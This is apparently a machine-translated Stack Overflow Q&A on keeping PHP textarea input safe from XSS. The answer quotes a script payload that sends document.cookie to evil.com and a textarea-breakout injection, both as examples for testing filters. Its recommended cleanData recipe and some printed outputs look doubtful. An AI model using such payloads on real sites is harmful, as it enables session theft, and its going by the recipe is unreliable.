Rya*_*rtz 1 css php xss textarea sanitize
如果要在textareas等输入中使用数据库(在php中)清理值的最佳方法是什么?
例如,在插入数据时,我可以删除标签和引号,并用html字符代码替换它们,然后在插入之前使用mysql_real_escape_string.
在检索该数据时,我需要它在textarea中显示.我怎么能这样做,仍然避免使用XSS?(例如,你可以轻松输入
</textarea><script type='text/javascript'> Malicious Code</script><textarea>
Run Code Online (Sandbox Code Playgroud)
)并导致问题.
谢谢!
我想我会喜欢的组合filter_var和url_decode,如果你想使用一个纯粹的简单的PHP解决方案
想象一下像这样的推崇
$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
Run Code Online (Sandbox Code Playgroud)
如果我使用 strip_tags
var_dump(strip_tags($maliciousCode));
Run Code Online (Sandbox Code Playgroud)
产量
string 'document.write("' (length=16)
Run Code Online (Sandbox Code Playgroud)
如果我使用 htmlspecialchars
var_dump(htmlspecialchars($maliciousCode));
Run Code Online (Sandbox Code Playgroud)
产量
string '<script>document.write("<img src='http://evil.com/?cookies='"+document.cookie+"' style='display:none;' />");</script> I love PHP' (length=166)
Run Code Online (Sandbox Code Playgroud)
function cleanData($str) {
$str = urldecode ($str );
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
return $str ;
}
$input = cleanData ( $maliciousCode );
var_dump($input);
Run Code Online (Sandbox Code Playgroud)
产量
string 'document.write(&#34;&#34;); I love PHP' (length=46)
Run Code Online (Sandbox Code Playgroud)
如果表单是使用GET而不是POST某些可以直到逃脱,如果它是url编码,你可以获得最小的信息,并确保最终文本是无害的
也足够在线上课,帮助你做过滤看看